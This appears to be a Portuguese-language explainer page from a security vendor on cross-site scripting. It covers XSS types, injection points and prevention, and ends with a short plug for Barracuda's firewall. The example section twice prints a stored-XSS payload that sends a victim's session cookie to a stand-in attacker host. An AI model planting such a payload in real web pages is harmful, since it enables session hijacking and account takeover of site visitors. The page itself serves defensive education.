Cross-Site Scripting (XSS)

O que é cross-site scripting (XSS)?

Cross-site scripting (XSS) é uma vulnerabilidade web generalizada, que permite a um atacante injetar JavaScript malicioso ou outro código do lado do cliente (por exemplo, VBScript, ActiveX, Flash, etc.) em páginas web. O código é então executado no navegador web do cliente.

Ao explorar XSS, um atacante não ataca diretamente uma vítima. Em vez disso, o atacante explora uma vulnerabilidade dentro de um site ou aplicação web que a vítima visita, usando essencialmente o site vulnerável como um veículo para entregar um script malicioso ao navegador da vítima.

Os ataques de cross-site scripting enquadram-se em três categorias: XSS Persistente/Armazenado, XSS Refletido e XSS baseado em DOM.

  • Ataques de XSS Persistente: estes armazenam um script malicioso no servidor da aplicação web. Qualquer utilizador que aceda à aplicação torna-se vulnerável à execução do script no seu navegador.
  • Ataques de XSS refletido: estes encontram uma maneira de fazer com que um servidor comprometido “reflita” um script malicioso que recebe numa requisição. Uma aplicação que recebe entrada do utilizador numa requisição e a renderiza numa resposta sem validação adequada para filtrar, ou sanitizar, as entradas pode propagar JavaScript malicioso. Se um script malicioso acabar numa resposta, pode executar-se no contexto do navegador.
  • Ataques XSS baseados em DOM: quando nenhum script é injetado numa página web — em vez disso, o comportamento de um script existente é alterado de formas não intencionais. Normalmente, a alteração é realizada modificando um elemento DOM confiável.

Os scripts do lado do cliente têm acesso completo ao DOM e podem aceder ou modificar qualquer parte do mesmo, incluindo dados de sessão, cookies, aceder ao histórico de navegação anterior, e assim por diante. Por exemplo, um atacante que consiga explorar vulnerabilidades de XSS pode sequestrar dados de sessão de um utilizador autenticado. Isto permite que um atacante altere a palavra-passe de um utilizador, ganhando assim acesso à conta/sistema da vítima.

Os ataques XSS podem até permitir que todo o sistema cliente seja controlado por um atacante. Scripts maliciosos podem redirecionar silenciosamente os navegadores dos clientes para domínios controlados por atacantes que servem malware, como kits de exploração de navegadores.

Métodos XSS

A injeção de XSS é possível através de qualquer parte de um pedido que não seja devidamente sanitizada antes de ser incorporada numa resposta subsequente. Os alvos típicos incluem:

  • Parâmetros de URL
  • Parâmetros de FORMULÁRIO (parâmetros GET e POST)
  • Cookies
  • Cabeçalhos HTTP
  • Objetos de Referência HTTP

Exemplo de ataque XSS

Um exemplo de um ataque XSS, onde um atacante cria uma conta num site de rede social, é uma boa forma de mostrar a facilidade com que um sistema pode ser comprometido sem muito esforço. Usando JavaScript malicioso incorporado num campo de formulário, o código é submetido ao site e guardado no lado do servidor:

/profileUpdate/profileid20?firstName=John&lastName=peter&address=<img+src=ImageNotFound.gif+onerror=window.open('http://attacker_site.com/CaptureCookie.cgi?cookie='+[removed])>&gender=masculino

O atacante agora injetou o código

(<img+src=ImageNotFound.gif+onerror=window.open('http://attacker_site.com/CaptureCookie.cgi?cookie='+[removed])>)

no campo de endereço. Se um utilizador inocente visualizar o perfil do atacante, o servidor envia os detalhes do perfil do atacante para o navegador do utilizador na resposta. A resposta contém o JavaScript malicioso que é executado no navegador e envia o cookie de sessão para o atacante.

Prevenção de Cross-Site Scripting

Prevenir o cross-site scripting é difícil. Existem algumas abordagens que são amplamente utilizadas:

  • Aceitando apenas entrada em texto simples sempre que possível. Isto é frequentemente eficaz, embora existam muitos casos em que os utilizadores possam querer adicionar marcação HTML limitada à sua entrada — por exemplo, para fins de formatação.
  • A codificação de entidades HTML em caracteres significativos — por exemplo, transformar “<” em “& lt;” – é amplamente recomendada e praticada, mas pode não prevenir todos os ataques de scripting.
  • Existem ferramentas automatizadas que irão procurar e remover código malicioso que poderia ser exibido aos utilizadores. Embora esta seja a solução mais abrangente, é pouco provável que estas ferramentas sejam totalmente eficazes contra um atacante determinado e podem ser dispendiosas para instalar e manter.

Por que o Cross-Site Scripting é importante

Se um atacante conseguir explorar uma vulnerabilidade XSS numa página web para executar JavaScript arbitrário no navegador de um visitante, a segurança desse site ou aplicação web e dos seus utilizadores foi comprometida.

Idealmente, os ataques de cross-site scripting podem ser prevenidos através de codificação segura que impõe validação adequada de entradas; no entanto, isso é frequentemente impraticável para aplicações legadas ou de terceiros, ou quando o código fonte não está diretamente disponível. Desativar scripts do lado do cliente nos navegadores dos utilizadores é por vezes sugerido como uma opção, contudo a maioria das aplicações modernas depende de scripts do lado do cliente para operar normalmente, pelo que desativar JavaScript leva a aplicações web com mau funcionamento. Outras tecnologias emergentes de segurança do lado do cliente, incluindo a Content Security Policy da Mozilla ou o IE XSS Filter, mostram potencial futuro, mas ainda não são infalíveis.

Saiba mais sobre Cross-Site Scripting

Termos relacionados

Leitura adicional

Como a Barracuda pode ajudar

O Barracuda Web Application Firewall contém conjuntos de regras abrangentes para detetar ataques XSS simples ou ofuscados em pedidos recebidos. A política de segurança padrão impede todos os ataques XSS sem exigir qualquer configuração adicional ou alterações ao código da aplicação web.

Barracuda CloudGen Firewall inclui um Sistema de Detecção e Prevenção de Intrusões que melhora significativamente a segurança da rede. Ao reforçar a proteção abrangente da rede CloudGen, este sistema ajuda a prevenir ataques como Cross-Site Scripting e estouros de buffer.